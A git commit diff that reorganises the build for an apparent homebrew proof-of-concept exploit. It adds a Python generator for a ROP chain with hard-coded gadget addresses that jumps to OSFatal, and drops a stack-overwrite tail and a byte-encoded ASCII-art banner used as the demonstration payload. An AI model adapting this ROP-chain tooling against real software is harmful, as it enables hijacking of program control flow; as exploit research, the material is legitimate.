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Move PoC to new build system

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This commit is contained in:
jam1garner 2019-01-18 16:51:28 -05:00
parent 4430db9de0
commit e55751d908
9 changed files with 98 additions and 162 deletions
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5
kexploit/generate_rop.py
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@ -16,7 +16,7 @@ def writeEnd():
script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
"""
Example payload
Example payload (writeOSFatalPayload func)
pushInt. 0xC00C650
pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
@ -50,6 +50,7 @@ pushInt. 0x01031618 #return address (OSFatal)
"""
# Print out contents of payload as null terminated string
def writeOSFatalPayload():
write32(LOAD_R3_ADDR)
writePayloadAddress()
@ -63,7 +64,9 @@ def main():
global script
with open('rop_setup.s', 'r') as f:
script = f.read()
writeOSFatalPayload()
with open("main.s", 'w') as f:
f.write(script)

14
poc/Makefile Normal file
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@ -0,0 +1,14 @@
all: exploit.mscsb
clean:
rm -f exploit.mscsb payload.s main.s
exploit.mscsb: payload.s Scripts main.s
python3 ../pymsc/asm.py
payload.s: payload.bin
python3 generate_payload.py
main.s: rop_setup.s
python3 generate_rop.py

6
poc/Scripts
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@ -1,3 +1,3 @@
:script_0.txt
string.txt
|mario.mscsb
:main.s
payload.s
|exploit.mscsb

4
poc/generate_string.py → poc/generate_payload.py
View File

@ -1,4 +1,4 @@
with open('string.bin', 'rb') as stringFile:
with open('string.txt', 'w') as f:
with open('payload.bin', 'rb') as stringFile:
with open('payload.s', 'w') as f:
for byte in stringFile.read():
print('byte %s' % hex(byte), file=f)

74
poc/generate_rop.py Normal file
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@ -0,0 +1,74 @@
# Addresses
LOAD_R3_ADDR = 0x0C00C650
OSFATAL_ADDR = 0x01031618
def write32(u32):
global script
script += f"pushInt. {hex(u32)}\n"
def writePayloadAddress():
global script
script += "pushVar. globalVar,mscScriptAddress\n"
def writeEnd():
global script
script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
"""
Example payload (writeOSFatalPayload func)
pushInt. 0xC00C650
pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
pushInt. 0xBEEF0001
pushInt. 0xBEEF0002
pushInt. 0xBEEF0003
pushInt. 0xBEEF0004
pushInt. 0xBEEF0005
pushInt. 0xBEEF0006
pushInt. 0xBEEF0007
pushInt. 0xBEEF0008
pushInt. 0xBEEF0009
pushInt. 0xBEEF000A
pushInt. 0xBEEF000B
pushInt. 0xBEEF000C
pushInt. 0xBEEF000D
pushInt. 0xBEEF000E
pushInt. 0xBEEF000F
pushInt. 0xBEEF0010
pushInt. 0xBEEF0011
pushInt. 0xBEEF0012
pushInt. 0xBEEF0013
pushInt. 0xBEEF0014
pushInt. 0xBEEF0015
pushInt. 0xBEEF0016
pushInt. 0xBEEF0017
pushInt. 0xBEEF0018
pushInt. 0xBEEF0019
pushInt. 0xBEEF001A
pushInt. 0x01031618 #return address (OSFatal)
"""
# Print out contents of payload as null terminated string
def writeOSFatalPayload():
write32(LOAD_R3_ADDR)
writePayloadAddress()
for i in range(0x1A):
write32(0xBEEF0000 + i + 1)
write32(OSFATAL_ADDR)
writeEnd()
def main():
global script
with open('rop_setup.s', 'r') as f:
script = f.read()
writeOSFatalPayload()
with open("main.s", 'w') as f:
f.write(script)
if __name__ == "__main__":
main()

BIN
poc/mario.mscsb
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Binary file not shown.

0
poc/string.bin → poc/payload.bin
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37
poc/script_0.txt → poc/rop_setup.s
View File

@ -758,39 +758,4 @@ pushShort. 0x80
#Now we can overwrite the stack position with the one we calculated earlier to jump to the write position
pushVar. globalVar,calculatedStackPosition
#Write ROP chain
pushInt. 0xC00C650
pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
pushInt. 0xBEEF0001
pushInt. 0xBEEF0002
pushInt. 0xBEEF0003
pushInt. 0xBEEF0004
pushInt. 0xBEEF0005
pushInt. 0xBEEF0006
pushInt. 0xBEEF0007
pushInt. 0xBEEF0008
pushInt. 0xBEEF0009
pushInt. 0xBEEF000A
pushInt. 0xBEEF000B
pushInt. 0xBEEF000C
pushInt. 0xBEEF000D
pushInt. 0xBEEF000E
pushInt. 0xBEEF000F
pushInt. 0xBEEF0010
pushInt. 0xBEEF0011
pushInt. 0xBEEF0012
pushInt. 0xBEEF0013
pushInt. 0xBEEF0014
pushInt. 0xBEEF0015
pushInt. 0xBEEF0016
pushInt. 0xBEEF0017
pushInt. 0xBEEF0018
pushInt. 0xBEEF0019
pushInt. 0xBEEF001A
pushInt. 0x01031618 #return address (OSFatal)
#Execute ROP chain
exit
#Dunno why but I figured I might as well put it here, should never hit this though
end
#Write ROP Chain

120
poc/string.txt
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@ -1,120 +0,0 @@
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x5f
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x5f
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0xa
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x7c
byte 0x20
byte 0x7c
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0x7c
byte 0x20
byte 0x7c
byte 0x20
byte 0x20
byte 0x20
byte 0x20
byte 0xa
byte 0x20
byte 0x20
byte 0x5f
byte 0x5f
byte 0x7c
byte 0x20
byte 0x7c
byte 0x20
byte 0x5f
byte 0x5f
byte 0x20
byte 0x5f
byte 0x7c
byte 0x20
byte 0x7c
byte 0x5f
byte 0x5f
byte 0x20
byte 0x20
byte 0xa
byte 0x20
byte 0x2f
byte 0x20
byte 0x5f
byte 0x60
byte 0x20
byte 0x7c
byte 0x2f
byte 0x20
byte 0x5f
byte 0x60
byte 0x20
byte 0x7c
byte 0x20
byte 0x27
byte 0x5f
byte 0x20
byte 0x5c
byte 0x20
byte 0xa
byte 0x7c
byte 0x20
byte 0x28
byte 0x5f
byte 0x7c
byte 0x20
byte 0x7c
byte 0x20
byte 0x28
byte 0x5f
byte 0x7c
byte 0x20
byte 0x7c
byte 0x20
byte 0x7c
byte 0x5f
byte 0x29
byte 0x20
byte 0x7c
byte 0xa
byte 0x20
byte 0x5c
byte 0x5f
byte 0x5f
byte 0x2c
byte 0x5f
byte 0x7c
byte 0x5c
byte 0x5f
byte 0x5f
byte 0x2c
byte 0x5f
byte 0x7c
byte 0x5f
byte 0x2e
byte 0x5f
byte 0x5f
byte 0x2f
byte 0x20
byte 0x0